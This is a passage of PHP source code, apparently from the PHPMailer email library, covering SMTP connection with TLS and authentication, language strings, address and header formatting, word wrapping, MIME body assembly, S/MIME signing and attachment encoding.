            $port = $this->Port;
            $tport = (integer)$hostinfo[4];
            if ($tport > 0 and $tport < 65536) {
                $port = $tport;
            }
            if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
                try {
                    if ($this->Helo) {
                        $hello = $this->Helo;
                    } else {
                        $hello = $this->serverHostname();
                    }
                    $this->smtp->hello($hello);
                    //Automatically enable TLS encryption if:
                    // * it's not disabled
                    // * we have openssl extension
                    // * we are not already using SSL
                    // * the server offers STARTTLS
                    if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {
                        $tls = true;
                    }
                    if ($tls) {
                        if (!$this->smtp->startTLS()) {
                            throw new phpmailerException($this->lang('connect_host'));
                        }
                        // We must resend EHLO after TLS negotiation
                        $this->smtp->hello($hello);
                    }
                    if ($this->SMTPAuth) {
                        if (!$this->smtp->authenticate(
                            $this->Username,
                            $this->Password,
                            $this->AuthType,
                            $this->Realm,
                            $this->Workstation
                        )
                        ) {
                            throw new phpmailerException($this->lang('authenticate'));
                        }
                    }
                    return true;
                } catch (phpmailerException $exc) {
                    $lastexception = $exc;
                    $this->edebug($exc->getMessage());
                    // We must have connected, but then failed TLS or Auth, so close connection nicely
                    $this->smtp->quit();
                }
            }
        }
        // If we get here, all connection attempts have failed, so close connection hard
        $this->smtp->close();
        // As we've caught all exceptions, just report whatever the last one was
        if ($this->exceptions and !is_null($lastexception)) {
            throw $lastexception;
        }
        return false;
    }

    /**
     * Close the active SMTP session if one exists.
     * @return void
     */
    public function smtpClose()
    {
        if (is_a($this->smtp, 'SMTP')) {
            if ($this->smtp->connected()) {
                $this->smtp->quit();
                $this->smtp->close();
            }
        }
    }

    /**
     * Set the language for error messages.
     * Returns false if it cannot load the language file.
     * The default language is English.
     * @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr")
     * @param string $lang_path Path to the language file directory, with trailing separator (slash)
     * @return boolean
     * @access public
     */
    public function setLanguage($langcode = 'en', $lang_path = '')
    {
        // Backwards compatibility for renamed language codes
        $renamed_langcodes = array(
            'br' => 'pt_br',
            'cz' => 'cs',
            'dk' => 'da',
            'no' => 'nb',
            'se' => 'sv',
            'sr' => 'rs'
        );

        if (isset($renamed_langcodes[$langcode])) {
            $langcode = $renamed_langcodes[$langcode];
        }

        // Define full set of translatable strings in English
        $PHPMAILER_LANG = array(
            'authenticate' => 'SMTP Error: Could not authenticate.',
            'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
            'data_not_accepted' => 'SMTP Error: data not accepted.',
            'empty_message' => 'Message body empty',
            'encoding' => 'Unknown encoding: ',
            'execute' => 'Could not execute: ',
            'file_access' => 'Could not access file: ',
            'file_open' => 'File Error: Could not open file: ',
            'from_failed' => 'The following From address failed: ',
            'instantiate' => 'Could not instantiate mail function.',
            'invalid_address' => 'Invalid address: ',
            'mailer_not_supported' => ' mailer is not supported.',
            'provide_address' => 'You must provide at least one recipient email address.',
            'recipients_failed' => 'SMTP Error: The following recipients failed: ',
            'signing' => 'Signing Error: ',
            'smtp_connect_failed' => 'SMTP connect() failed.',
            'smtp_error' => 'SMTP server error: ',
            'variable_set' => 'Cannot set or reset variable: ',
            'extension_missing' => 'Extension missing: '
        );
        if (empty($lang_path)) {
            // Calculate an absolute path so it can work if CWD is not here
            $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;
        }
        //Validate $langcode
        if (!preg_match('/^[a-z]{2}(?:_[a-zA-Z]{2})?$/', $langcode)) {
            $langcode = 'en';
        }
        $foundlang = true;
        $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
        // There is no English translation file
        if ($langcode != 'en') {
            // Make sure language file path is readable
            if (!self::isPermittedPath($lang_file) or !is_readable($lang_file)) {
                $foundlang = false;
            } else {
                // Overwrite language-specific strings.
                // This way we'll never have missing translation keys.
                $foundlang = include $lang_file;
            }
        }
        $this->language = $PHPMAILER_LANG;
        return (boolean)$foundlang; // Returns false if language not found
    }

    /**
     * Get the array of strings for the current language.
     * @return array
     */
    public function getTranslations()
    {
        return $this->language;
    }

    /**
     * Create recipient headers.
     * @access public
     * @param string $type
     * @param array $addr An array of recipient,
     * where each recipient is a 2-element indexed array with element 0 containing an address
     * and element 1 containing a name, like:
     * array(array('joe@example.com', 'Joe User'), array('zoe@example.com', 'Zoe User'))
     * @return string
     */
    public function addrAppend($type, $addr)
    {
        $addresses = array();
        foreach ($addr as $address) {
            $addresses[] = $this->addrFormat($address);
        }
        return $type . ': ' . implode(', ', $addresses) . $this->LE;
    }

    /**
     * Format an address for use in a message header.
     * @access public
     * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name
     *      like array('joe@example.com', 'Joe User')
     * @return string
     */
    public function addrFormat($addr)
    {
        if (empty($addr[1])) { // No name provided
            return $this->secureHeader($addr[0]);
        } else {
            return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(
                $addr[0]
            ) . '>';
        }
    }

    /**
     * Word-wrap message.
     * For use with mailers that do not automatically perform wrapping
     * and for quoted-printable encoded messages.
     * Original written by philippe.
     * @param string $message The message to wrap
     * @param integer $length The line length to wrap to
     * @param boolean $qp_mode Whether to run in Quoted-Printable mode
     * @access public
     * @return string
     */
    public function wrapText($message, $length, $qp_mode = false)
    {
        if ($qp_mode) {
            $soft_break = sprintf(' =%s', $this->LE);
        } else {
            $soft_break = $this->LE;
        }
        // If utf-8 encoding is used, we will need to make sure we don't
        // split multibyte characters when we wrap
        $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
        $lelen = strlen($this->LE);
        $crlflen = strlen(self::CRLF);

        $message = $this->fixEOL($message);
        //Remove a trailing line break
        if (substr($message, -$lelen) == $this->LE) {
            $message = substr($message, 0, -$lelen);
        }

        //Split message into lines
        $lines = explode($this->LE, $message);
        //Message will be rebuilt in here
        $message = '';
        foreach ($lines as $line) {
            $words = explode(' ', $line);
            $buf = '';
            $firstword = true;
            foreach ($words as $word) {
                if ($qp_mode and (strlen($word) > $length)) {
                    $space_left = $length - strlen($buf) - $crlflen;
                    if (!$firstword) {
                        if ($space_left > 20) {
                            $len = $space_left;
                            if ($is_utf8) {
                                $len = $this->utf8CharBoundary($word, $len);
                            } elseif (substr($word, $len - 1, 1) == '=') {
                                $len--;
                            } elseif (substr($word, $len - 2, 1) == '=') {
                                $len -= 2;
                            }
                            $part = substr($word, 0, $len);
                            $word = substr($word, $len);
                            $buf .= ' ' . $part;
                            $message .= $buf . sprintf('=%s', self::CRLF);
                        } else {
                            $message .= $buf . $soft_break;
                        }
                        $buf = '';
                    }
                    while (strlen($word) > 0) {
                        if ($length <= 0) {
                            break;
                        }
                        $len = $length;
                        if ($is_utf8) {
                            $len = $this->utf8CharBoundary($word, $len);
                        } elseif (substr($word, $len - 1, 1) == '=') {
                            $len--;
                        } elseif (substr($word, $len - 2, 1) == '=') {
                            $len -= 2;
                        }
                        $part = substr($word, 0, $len);
                        $word = substr($word, $len);

                        if (strlen($word) > 0) {
                            $message .= $part . sprintf('=%s', self::CRLF);
                        } else {
                            $buf = $part;
                        }
                    }
                } else {
                    $buf_o = $buf;
                    if (!$firstword) {
                        $buf .= ' ';
                    }
                    $buf .= $word;

                    if (strlen($buf) > $length and $buf_o != '') {
                        $message .= $buf_o . $soft_break;
                        $buf = $word;
                    }
                }
                $firstword = false;
            }
            $message .= $buf . self::CRLF;
        }

        return $message;
    }

    /**
     * Find the last character boundary prior to $maxLength in a utf-8
     * quoted-printable encoded string.
     * Original written by Colin Brown.
     * @access public
     * @param string $encodedText utf-8 QP text
     * @param integer $maxLength Find the last character boundary prior to this length
     * @return integer
     */
    public function utf8CharBoundary($encodedText, $maxLength)
    {
        $foundSplitPos = false;
        $lookBack = 3;
        while (!$foundSplitPos) {
            $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
            $encodedCharPos = strpos($lastChunk, '=');
            if (false !== $encodedCharPos) {
                // Found start of encoded character byte within $lookBack block.
                // Check the encoded byte value (the 2 chars after the '=')
                $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
                $dec = hexdec($hex);
                if ($dec < 128) {
                    // Single byte character.
                    // If the encoded char was found at pos 0, it will fit
                    // otherwise reduce maxLength to start of the encoded char
                    if ($encodedCharPos > 0) {
                        $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    }
                    $foundSplitPos = true;
                } elseif ($dec >= 192) {
                    // First byte of a multi byte character
                    // Reduce maxLength to split at start of character
                    $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    $foundSplitPos = true;
                } elseif ($dec < 192) {
                    // Middle byte of a multi byte character, look further back
                    $lookBack += 3;
                }
            } else {
                // No encoded character found
                $foundSplitPos = true;
            }
        }
        return $maxLength;
    }

    /**
     * Apply word wrapping to the message body.
     * Wraps the message body to the number of chars set in the WordWrap property.
     * You should only do this to plain-text bodies as wrapping HTML tags may break them.
     * This is called automatically by createBody(), so you don't need to call it yourself.
     * @access public
     * @return void
     */
    public function setWordWrap()
    {
        if ($this->WordWrap < 1) {
            return;
        }

        switch ($this->message_type) {
            case 'alt':
            case 'alt_inline':
            case 'alt_attach':
            case 'alt_inline_attach':
                $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
                break;
            default:
                $this->Body = $this->wrapText($this->Body, $this->WordWrap);
                break;
        }
    }

    /**
     * Assemble message headers.
     * @access public
     * @return string The assembled headers
     */
    public function createHeader()
    {
        $result = '';

        $result .= $this->headerLine('Date', $this->MessageDate == '' ? self::rfcDate() : $this->MessageDate);

        // To be created automatically by mail()
        if ($this->SingleTo) {
            if ($this->Mailer != 'mail') {
                foreach ($this->to as $toaddr) {
                    $this->SingleToArray[] = $this->addrFormat($toaddr);
                }
            }
        } else {
            if (count($this->to) > 0) {
                if ($this->Mailer != 'mail') {
                    $result .= $this->addrAppend('To', $this->to);
                }
            } elseif (count($this->cc) == 0) {
                $result .= $this->headerLine('To', 'undisclosed-recipients:;');
            }
        }

        $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));

        // sendmail and mail() extract Cc from the header before sending
        if (count($this->cc) > 0) {
            $result .= $this->addrAppend('Cc', $this->cc);
        }

        // sendmail and mail() extract Bcc from the header before sending
        if ((
                $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'
            )
            and count($this->bcc) > 0
        ) {
            $result .= $this->addrAppend('Bcc', $this->bcc);
        }

        if (count($this->ReplyTo) > 0) {
            $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
        }

        // mail() sets the subject itself
        if ($this->Mailer != 'mail') {
            $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
        }

        // Only allow a custom message ID if it conforms to RFC 5322 section 3.6.4
        // https://tools.ietf.org/html/rfc5322#section-3.6.4
        if ('' != $this->MessageID and preg_match('/^<.*@.*>$/', $this->MessageID)) {
            $this->lastMessageID = $this->MessageID;
        } else {
            $this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname());
        }
        $result .= $this->headerLine('Message-ID', $this->lastMessageID);
        if (!is_null($this->Priority)) {
            $result .= $this->headerLine('X-Priority', $this->Priority);
        }
        if ($this->XMailer == '') {
            $result .= $this->headerLine(
                'X-Mailer',
                'PHPMailer ' . $this->Version . ' (https://github.com/PHPMailer/PHPMailer)'
            );
        } else {
            $myXmailer = trim($this->XMailer);
            if ($myXmailer) {
                $result .= $this->headerLine('X-Mailer', $myXmailer);
            }
        }

        if ($this->ConfirmReadingTo != '') {
            $result .= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>');
        }

        // Add custom headers
        foreach ($this->CustomHeader as $header) {
            $result .= $this->headerLine(
                trim($header[0]),
                $this->encodeHeader(trim($header[1]))
            );
        }
        if (!$this->sign_key_file) {
            $result .= $this->headerLine('MIME-Version', '1.0');
            $result .= $this->getMailMIME();
        }

        return $result;
    }

    /**
     * Get the message MIME type headers.
     * @access public
     * @return string
     */
    public function getMailMIME()
    {
        $result = '';
        $ismultipart = true;
        switch ($this->message_type) {
            case 'inline':
                $result .= $this->headerLine('Content-Type', 'multipart/related;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'attach':
            case 'inline_attach':
            case 'alt_attach':
            case 'alt_inline_attach':
                $result .= $this->headerLine('Content-Type', 'multipart/mixed;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'alt':
            case 'alt_inline':
                $result .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            default:
                // Catches case 'plain': and case '':
                $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
                $ismultipart = false;
                break;
        }
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($this->Encoding != '7bit') {
            // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
            if ($ismultipart) {
                if ($this->Encoding == '8bit') {
                    $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
                }
                // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
            } else {
                $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
            }
        }

        if ($this->Mailer != 'mail') {
            $result .= $this->LE;
        }

        return $result;
    }

    /**
     * Returns the whole MIME message.
     * Includes complete headers and body.
     * Only valid post preSend().
     * @see PHPMailer::preSend()
     * @access public
     * @return string
     */
    public function getSentMIMEMessage()
    {
        return rtrim($this->MIMEHeader . $this->mailHeader, "\n\r") . self::CRLF . self::CRLF . $this->MIMEBody;
    }

    /**
     * Create unique ID
     * @return string
     */
    protected function generateId() {
        return md5(uniqid(time()));
    }

    /**
     * Assemble the message body.
     * Returns an empty string on failure.
     * @access public
     * @throws phpmailerException
     * @return string The assembled message body
     */
    public function createBody()
    {
        $body = '';
        //Create unique IDs and preset boundaries
        $this->uniqueid = $this->generateId();
        $this->boundary[1] = 'b1_' . $this->uniqueid;
        $this->boundary[2] = 'b2_' . $this->uniqueid;
        $this->boundary[3] = 'b3_' . $this->uniqueid;

        if ($this->sign_key_file) {
            $body .= $this->getMailMIME() . $this->LE;
        }

        $this->setWordWrap();

        $bodyEncoding = $this->Encoding;
        $bodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
            $bodyEncoding = '7bit';
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $bodyCharSet = 'us-ascii';
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the body part only
        if ('base64' != $this->Encoding and self::hasLineLongerThanMax($this->Body)) {
            $bodyEncoding = 'quoted-printable';
        }

        $altBodyEncoding = $this->Encoding;
        $altBodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
            $altBodyEncoding = '7bit';
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $altBodyCharSet = 'us-ascii';
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the alt body part only
        if ('base64' != $altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)) {
            $altBodyEncoding = 'quoted-printable';
        }
        //Use this as a preamble in all multipart message types
        $mimepre = "This is a multi-part message in MIME format." . $this->LE . $this->LE;
        switch ($this->message_type) {
            case 'inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[1]);
                break;
            case 'attach':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                if (!empty($this->Ical)) {
                    $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
                    $body .= $this->encodeString($this->Ical, $this->Encoding);
                    $body .= $this->LE . $this->LE;
                }
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt_inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[2]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[3]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            default:
                // Catch case 'plain' and case '', applies to simple `text/plain` and `text/html` body content types
                //Reset the `Encoding` property in case we changed it for line length reasons
                $this->Encoding = $bodyEncoding;
                $body .= $this->encodeString($this->Body, $this->Encoding);
                break;
        }

        if ($this->isError()) {
            $body = '';
        } elseif ($this->sign_key_file) {
            try {
                if (!defined('PKCS7_TEXT')) {
                    throw new phpmailerException($this->lang('extension_missing') . 'openssl');
                }
                // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
                $file = tempnam(sys_get_temp_dir(), 'mail');
                if (false === file_put_contents($file, $body)) {
                    throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
                }
                $signed = tempnam(sys_get_temp_dir(), 'signed');
                //Workaround for PHP bug https://bugs.php.net/bug.php?id=69197
                if (empty($this->sign_extracerts_file)) {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                        null
                    );
                } else {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                        null,
                        PKCS7_DETACHED,
                        $this->sign_extracerts_file
                    );
                }
                if ($sign) {
                    @unlink($file);
                    $body = file_get_contents($signed);
                    @unlink($signed);
                    //The message returned by openssl contains both headers and body, so need to split them up
                    $parts = explode("\n\n", $body, 2);
                    $this->MIMEHeader .= $parts[0] . $this->LE . $this->LE;
                    $body = $parts[1];
                } else {
                    @unlink($file);
                    @unlink($signed);
                    throw new phpmailerException($this->lang('signing') . openssl_error_string());
                }
            } catch (phpmailerException $exc) {
                $body = '';
                if ($this->exceptions) {
                    throw $exc;
                }
            }
        }
        return $body;
    }

    /**
     * Return the start of a message boundary.
     * @access protected
     * @param string $boundary
     * @param string $charSet
     * @param string $contentType
     * @param string $encoding
     * @return string
     */
    protected function getBoundary($boundary, $charSet, $contentType, $encoding)
    {
        $result = '';
        if ($charSet == '') {
            $charSet = $this->CharSet;
        }
        if ($contentType == '') {
            $contentType = $this->ContentType;
        }
        if ($encoding == '') {
            $encoding = $this->Encoding;
        }
        $result .= $this->textLine('--' . $boundary);
        $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
        $result .= $this->LE;
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($encoding != '7bit') {
            $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
        }
        $result .= $this->LE;

        return $result;
    }

    /**
     * Return the end of a message boundary.
     * @access protected
     * @param string $boundary
     * @return string
     */
    protected function endBoundary($boundary)
    {
        return $this->LE . '--' . $boundary . '--' . $this->LE;
    }

    /**
     * Set the message type.
     * PHPMailer only supports some preset message types, not arbitrary MIME structures.
     * @access protected
     * @return void
     */
    protected function setMessageType()
    {
        $type = array();
        if ($this->alternativeExists()) {
            $type[] = 'alt';
        }
        if ($this->inlineImageExists()) {
            $type[] = 'inline';
        }
        if ($this->attachmentExists()) {
            $type[] = 'attach';
        }
        $this->message_type = implode('_', $type);
        if ($this->message_type == '') {
            //The 'plain' message_type refers to the message having a single body element, not that it is plain-text
            $this->message_type = 'plain';
        }
    }

    /**
     * Format a header line.
     * @access public
     * @param string $name
     * @param string $value
     * @return string
     */
    public function headerLine($name, $value)
    {
        return $name . ': ' . $value . $this->LE;
    }

    /**
     * Return a formatted mail line.
     * @access public
     * @param string $value
     * @return string
     */
    public function textLine($value)
    {
        return $value . $this->LE;
    }

    /**
     * Add an attachment from a path on the filesystem.
     * Never use a user-supplied path to a file!
     * Returns false if the file could not be found or read.
     * Explicitly *does not* support passing URLs; PHPMailer is not an HTTP client.
     * If you need to do that, fetch the resource yourself and pass it in via a local file or string.
     * @param string $path Path to the attachment.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @throws phpmailerException
     * @return boolean
     */
    public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
    {
        try {
            if (!self::isPermittedPath($path) or !@is_file($path)) {
                throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
            }

            // If a MIME type is not specified, try to work it out from the file name
            if ($type == '') {
                $type = self::filenameToType($path);
            }

            $filename = basename($path);
            if ($name == '') {
                $name = $filename;
            }

            $this->attachment[] = array(
                0 => $path,
                1 => $filename,
                2 => $name,
                3 => $encoding,
                4 => $type,
                5 => false, // isStringAttachment
                6 => $disposition,
                7 => 0
            );

        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
        return true;
    }

    /**
     * Return the array of attachments.
     * @return array
     */
    public function getAttachments()
    {
        return $this->attachment;
    }

    /**
     * Attach all file, string, and binary attachments to the message.
     * Returns an empty string on failure.
     * @access protected
     * @param string $disposition_type
     * @param string $boundary
     * @return string
     */
    protected function attachAll($disposition_type, $boundary)
    {
        // Return text of body
        $mime = array();
        $cidUniq = array();
        $incl = array();

        // Add all attachments
        foreach ($this->attachment as $attachment) {
            // Check if it is a valid disposition_filter
            if ($attachment[6] == $disposition_type) {
                // Check for string attachment
                $string = '';
                $path = '';
                $bString = $attachment[5];
                if ($bString) {
                    $string = $attachment[0];
                } else {
                    $path = $attachment[0];
                }

                $inclhash = md5(serialize($attachment));
                if (in_array($inclhash, $incl)) {
                    continue;
                }
                $incl[] = $inclhash;
                $name = $attachment[2];
                $encoding = $attachment[3];
                $type = $attachment[4];
                $disposition = $attachment[6];
                $cid = $attachment[7];
                if ($disposition == 'inline' && array_key_exists($cid, $cidUniq)) {
                    continue;
                }
                $cidUniq[$cid] = true;

                $mime[] = sprintf('--%s%s', $boundary, $this->LE);
                //Only include a filename property if we have one
                if (!empty($name)) {
                    $mime[] = sprintf(
                        'Content-Type: %s; name="%s"%s',
                        $type,
                        $this->encodeHeader($this->secureHeader($name)),
                        $this->LE
                    );
                } else {
                    $mime[] = sprintf(
                        'Content-Type: %s%s',
                        $type,
                        $this->LE
                    );
                }
                // RFC1341 part 5 says 7bit is assumed if not specified
                if ($encoding != '7bit') {
                    $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
                }

                if ($disposition == 'inline') {
                    $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
                }

                // If a filename contains any of these chars, it should be quoted,
                // but not otherwise: RFC2183 & RFC2045 5.1
                // Fixes a warning in IETF's msglint MIME checker
                // Allow for bypassing the Content-Disposition header totally
                if (!(empty($disposition))) {
                    $encoded_name = $this->encodeHeader($this->secureHeader($name));
                    if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $encoded_name)) {
                        $mime[] = sprintf(
                            'Content-Disposition: %s; filename="%s"%s',
                            $disposition,
                            $encoded_name,
                            $this->LE . $this->LE
                        );
                    } else {
                        if (!empty($encoded_name)) {
                            $mime[] = sprintf(
                                'Content-Disposition: %s; filename=%s%s',
                                $disposition,
                                $encoded_name,
                                $this->LE . $this->LE
                            );
                        } else {
                            $mime[] = sprintf(
                                'Content-Disposition: %s%s',
                                $disposition,
                                $this->LE . $this->LE
                            );
                        }
                    }
                } else {
                    $mime[] = $this->LE;
                }

                // Encode as string attachment
                if ($bString) {
                    $mime[] = $this->encodeString($string, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                } else {
                    $mime[] = $this->encodeFile($path, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                }
            }
        }

        $mime[] = sprintf('--%s--%s', $boundary, $this->LE);

        return implode('', $mime);
    }

    /**
     * Encode a file attachment in requested format.
     * Returns an empty string on failure.
     * @param string $path The full path to the file
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     * @throws phpmailerException
     * @access protected
     * @return string
     */
    protected function encodeFile($path, $encoding = 'base64')
    {
        try {
            if (!self::isPermittedPath($path) or !file_exists($path)) {
                throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
            }
            $magic_quotes = false;
            if( version_compare(PHP_VERSION, '7.4.0', '<') ) {
                $magic_quotes = get_magic_quotes_runtime();
            }
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime(false);
                } else {
                    //Doesn't exist in PHP 5.4, but we don't need to check because
                    //get_magic_quotes_runtime always returns false in 5.4+
                    //so it will never get here
                    ini_set('magic_quotes_runtime', false);
                }
            }
            $file_buffer = file_get_contents($path);
            $file_buffer = $this->encodeString($file_buffer, $encoding);
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime($magic_quotes);
                } else {
                    ini_set('magic_quotes_runtime', $magic_quotes);
                }
            }
            return $file_buffer;
        } catch (Exception $exc) {
            $this->setError($exc->getMessage());
            return '';
        }
    }

    /**
     * Encode a string in requested format.
     * Returns an empty string on failure.
     * @param string $str The text to encode
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     * @access public
     * @return string
     */
    public function encodeString($str, $encoding = 'base64')
    {
        $encoded = '';
        switch (strtolower($encoding)) {
            case 'base64':
                $encoded = chunk_split(base64_encode($str), 76, $this->LE);
                break;
            case '7bit':
            case '8bit':
                $encoded = $this->fixEOL($str);
                // Make sure it ends with a line break
                if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
                    $encoded .= $this->LE;
                }
                break;
            case 'binary':
                $encoded = $str;
                break;
            case 'quoted-printable':
                $encoded = $this->encodeQP($str);
